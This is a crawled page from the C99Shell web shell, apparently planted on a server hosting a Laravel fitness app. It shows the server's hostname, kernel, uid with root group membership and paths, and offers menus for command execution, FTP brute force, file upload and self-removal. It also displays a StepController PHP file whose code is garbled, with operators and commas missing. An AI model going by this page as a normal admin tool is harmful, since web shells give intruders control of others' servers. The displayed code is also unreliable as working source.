!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/fitness.picotech.app/public_html/app/Http/Controllers/Admin/   drwxr-xr-x
Free 26.63 GB of 117.98 GB (22.57%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     StepController.php (10.33 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Admin;

use 
App\Http\Controllers\Controller;
use 
App\Models\Customer;
use 
App\Models\Step;
use 
App\Models\StepDetail;
use 
Carbon\Carbon;
use 
Illuminate\Http\Request;
use 
Illuminate\Support\Facades\DB;
use 
Illuminate\Support\Str;

class 
StepController extends Controller
{
    public function 
index()
    {

        return 
view('admin.step.index');
    }

    public function 
getAll(Request $request)
    {
        
$steps Step::orderByDesc('created_at');

        return 
datatables()->of($steps)

            ->
addColumn('design', function (Step $q) {
                
$design str_replace('_''-'$q->design);

                return 
$design;
            })

            ->
addColumn('status', function (Step $q) {
                if (
$q->status == 'active') {
                    
$status '<strong class="text-white bg-success px-2 py-1 rounded status-font-size"> ' ucfirst($q->status) . ' </strong>';
                } else {
                    
$status '<strong class="text-white bg-danger px-2 py-1 rounded status-font-size"> ' ucfirst($q->status) . ' </strong>';
                }
                return 
$status;
            })

            ->
addColumn('action', function (Step $q) {

                
$edit '<a class="btn btn-info btn-sm" href="' route('admin.step.edit', [$q]) . '">Edit</a>';
                
$delete '<button class="btn btn-danger btn-sm ml-3" data-message="Are sure you want to delete this step?"
                                        data-action=' 
route('admin.step.destroy', [$q]) . '
                                        data-input={"_method":"delete"}
                                        data-toggle="modal" data-target="#modal-confirm">Delete</button>'
;

                return 
$edit $delete;
            })
            ->
rawColumns(['action''status''design'])
            ->
toJson();
    }

    public function 
create()
    {

        return 
view('admin.step.create');
    }

    public function 
store(Request $request)
    {

        
$request->validate([
            
'title' => 'required',
            
'step_number' => 'required|unique:steps',
            
'design_name' => 'required',
        ]);


        
$step = new Step();
        
$step->step_number $request->step_number;
        
$step->title $request->title;
        
$step->sub_title $request->sub_title;
        
$step->non_sub_title $request->non_sub_title;
        
$step->design $request->design_name;
        
$step->save();

        return 
redirect()->route('admin.step.edit'$step);
    }


    public function 
edit(Step $step)
    {

        
$data['step'] = $step;
        
$data['check_box_details']=$step->step_details()->where('type''checkbox')->get();
        
$data['slider_details']=$step->step_details()->where('type''slider')->get();
        
$data['inputs_details']=$step->step_details()->where('type''input')->get();
        
$data['weight_details']=$step->step_details()->where('type''input')->get();
        
$data['radio_details']=$step->step_details()->where('type''radio')->get();

        return 
view('admin.step.create'$data);
    }

    public function 
update(Step $stepRequest $request)
    {

        
DB::beginTransaction();

        try {

            if (
$step->step_details) {
                
$step->step_details()->delete();
            }


            if (
$step->design == 'design_one' || $step->design == 'design_six'|| $step->design == 'design_four') {
                
$this->saveDesignOne($request$step);
            }


            if (
$step->design == 'design_five') {
                
$this->saveDesignFive($request$step);
            }

            if (
$step->design == 'design_nine') {
                
$this->saveDesignFive($request$step);
            }

            if (
$step->design == 'design_two' || $step->design == 'design_eight') {
                
$this->saveDesignTwo($request$step);
            }

            if (
$step->design == 'design_three' || $step->design == 'design_seven') {
                
$this->saveDesignThree($request$step);
            }


            
DB::commit();
            return 
redirect()->route('admin.step.index')->with('success'trans('Step successfully updated'));
        } catch (
\Exception $ex) {

            
DB::rollBack();
            return 
redirect()->route('admin.step.index')->withErrors(['failed'=>$ex->getMessage()]);
        }
    }


    public function 
destroy(Step $step)
    {

        if (
$step->step_details) {
            
$step->step_details()->delete();
        }

        
$step->delete();

        return 
redirect()->route('admin.step.index')->with('success'trans('Step successfully delete'));
    }


    function 
saveDesignOne($request$step)
    {

        foreach (
$request->checkbox_title as $key => $title) {
            
$str_rand Str::random(5);

            if (isset(
$request->checkbox_image[$key]) && $request->checkbox_image[$key]) {
                
$file $request->file('checkbox_image')[$key];
                
$imageName time() . $str_rand '-' $key '.' $file->getClientOriginalExtension();
                
$file->move(public_path('/uploads/'), $imageName);
                
$request['image'] = $imageName;
            } else if (isset(
$request->pre_checkbox_image[$key]) && $request->pre_checkbox_image[$key]) {
                
$request['image'] = $request->pre_checkbox_image[$key];
            } else {
                
$request['image'] = '';
            }
            
$request['title'] = $title;
            
$request['description'] = isset($request->checkbox_des_value[$key]) ? $request->checkbox_des_value[$key] : '';
            
$request['value'] = isset($request->checkbox_value[$key]) ? $request->checkbox_value[$key] : '';

            
$request_data $request->only('image''title''value','description');

            
$step_details = new StepDetail();
            
$step_details->step_id $step->id;
            
$step_details->type 'checkbox';
            
$step_details->value json_encode($request_data);
            
$step_details->save();
        }
    }


    function 
saveDesignTwo($request$step)
    {

        
//TODO::Save Slider data in StepDetails
        
if ($request->slider_title) {
            foreach (
$request->slider_title as $key => $slider_title) {
                
$str_rand Str::random(5);
                if (isset(
$request->slider_image[$key]) && $request->slider_image[$key]) {
                    
$file $request->file('slider_image')[$key];
                    
$imageName time() . $str_rand '-' $key '.' $file->getClientOriginalExtension();
                    
$file->move(public_path('/uploads/'), $imageName);
                    
$request['image'] = $imageName;
                }else if (isset(
$request->pre_slider_image[$key]) && $request->pre_slider_image[$key]) {
                    
$request['image'] = $request->pre_slider_image[$key];
                 } else {
                    
$request['image'] = '';
                }
                
$request['title'] = $slider_title;
                
$request['value'] = isset($request->slider_value[$key]) ? $request->slider_value[$key] : '';
                
$request['t_title'] = isset($request->text_title[$key]) ? $request->text_title[$key] : '';
                
$request['t_description'] = isset($request->text_description[$key]) ? $request->text_description[$key] : '';

                
$request_data $request->only('image''title''value','t_title','t_description');

                
$step_details = new StepDetail();
                
$step_details->step_id $step->id;
                
$step_details->type 'slider';
                
$step_details->value json_encode($request_data);
                
$step_details->save();
            }
        }

    }

    function 
saveDesignThree($request$step)
    {

        
//TODO::Save InputsType data in StepDetails
        
if ($request->input_title) {
            foreach (
$request->input_title as $key => $title) {

                
$request['title'] = $title;
                
$request['value'] = isset($request->input_value[$key]) ? $request->input_value[$key] : '';
                
$request['min'] = isset($request->input_min[$key]) ? $request->input_min[$key] : '';
                
$request['max'] = isset($request->input_max[$key]) ? $request->input_max[$key] : '';
                
$request['group'] = isset($request->input_group[$key]) ? $request->input_group[$key] : '';

                
$request_data $request->only('min''title''value','max''group');

                
$step_details = new StepDetail();
                
$step_details->step_id $step->id;
                
$step_details->type 'input';
                
$step_details->value json_encode($request_data);
                
$step_details->save();
            }
        }

    }


    function 
saveDesignFive($request$step)
    {

        foreach (
$request->radio_title as $key => $title) {

            
$request['title'] = $title;
            
$request['value'] = isset($request->radio_value[$key]) ? $request->radio_value[$key] : '';
            
$request['description'] = isset($request->radio_description[$key]) ? $request->radio_description[$key] : '';

            
$request_data $request->only('title''value','description');

            
$step_details = new StepDetail();
            
$step_details->step_id $step->id;
            
$step_details->type 'radio';
            
$step_details->value json_encode($request_data);
            
$step_details->save();
        }
    }


    function 
saveDesignSaven($request$step)
    {

        
//TODO::Save InputsType data in StepDetails
        
if ($request->input_title) {
            foreach (
$request->input_title as $key => $title) {

                
$request['title'] = $title;
                
$request['value'] = isset($request->input_value[$key]) ? $request->input_value[$key] : '';
                
$request['min'] = isset($request->input_min[$key]) ? $request->input_min[$key] : '';
                
$request['max'] = isset($request->input_max[$key]) ? $request->input_max[$key] : '';
                
$request['group'] = isset($request->input_group[$key]) ? $request->input_group[$key] : '';

                
$request_data $request->only('min''title''value','max''group');

                
$step_details = new StepDetail();
                
$step_details->step_id $step->id;
                
$step_details->type 'input';
                
$step_details->value json_encode($request_data);
                
$step_details->save();
            }
        }

    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0041 ]--